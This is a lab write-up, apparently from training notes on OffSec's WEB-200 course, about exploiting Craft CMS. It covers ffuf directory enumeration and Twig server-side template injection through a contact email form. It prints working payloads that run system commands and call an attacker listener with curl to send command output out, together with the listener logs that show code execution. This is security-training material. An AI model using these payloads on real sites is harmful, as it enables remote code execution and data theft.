Case Study: Craft CMS
The example below is based on OffSec's WEB-200 course.
The source code of the web application contains some clues. More specifically, it discloses that the Craft CMS is used and the use of []
in the name
attribute of the input
field indicates the usage of the PHP programming language (Figure 1).

Performing a dirbusting with ffuf
, we find that there is an /admin
directory which further confirms that we are using the Craft CMS (Figure 2).
$ ffuf -u 'http://craft/FUZZ' -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -c -ic -ac
<SNIP>
index [Status: 200, Size: 56254, Words: 12711, Lines: 740, Duration: 2847ms]
admin [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 3572ms]
logout [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 3448ms]

/admin
directory validates the usage of the Craft CMS.The home page of the web application provides a way to send an email to the site's administrator. Emails are great targets for SSTI as they consist of mainly generic elements which are then tailored to the user using a templating engine. Searching for "Craft CMS templating engine" reveals that Twig is used (Figure 3).

We can send an email containing a Twig-specific payload to form an out-of-band communication.
{{[0]|reduce('system','curl http://192.168.45.155:7331/hello')}}
When we send the email the payload is executed and we receive a response back.
$ python3 -m http.server 7331
Serving HTTP on 0.0.0.0 port 7331 (http://0.0.0.0:7331/) ...
192.168.152.105 - - [15/Aug/2024 17:01:27] code 404, message File not found
192.168.152.105 - - [15/Aug/2024 17:01:27] "GET /hello HTTP/1.1" 404 -
To exfiltrate data in Twig, we use the tilde character (~
) for string concatenation, which allows us to append the exfiltrated data to a GET
request and the set
tag to declare variables. Additionally, we apply the url_encode
method method to the exfil
variable to ensure our payload is properly URL-encoded.
{% set output %}
{{[0]|reduce('system','whoami')}}
{% endset %}}
{% set exfil = output| url_encode %}
{{[0]|reduce('system','curl http://192.168.45.155:7331/?exfil=' ~ exfil)}}
In the response, we confirm that we have achieved RCE.
$ python3 -m http.server 7331
Serving HTTP on 0.0.0.0 port 7331 (http://0.0.0.0:7331/) ...
192.168.152.105 - - [15/Aug/2024 17:45:00] "GET /?exfil=%3Cbr%20%2F%3E%0Awww-data%0Awww-data%3Cbr%20%2F%3E%0A HTTP/1.1" 200 -
# URL-decoding the exfiltrated data
$ echo "%3Cbr%20%2F%3E%0Awww-data%0Awww-data%3Cbr%20%2F%3E%0A" | python3 -c 'import sys;from urllib.parse import unquote;print(unquote(sys.stdin.read()));'
<br />
www-data
www-data<br />
Last updated
Was this helpful?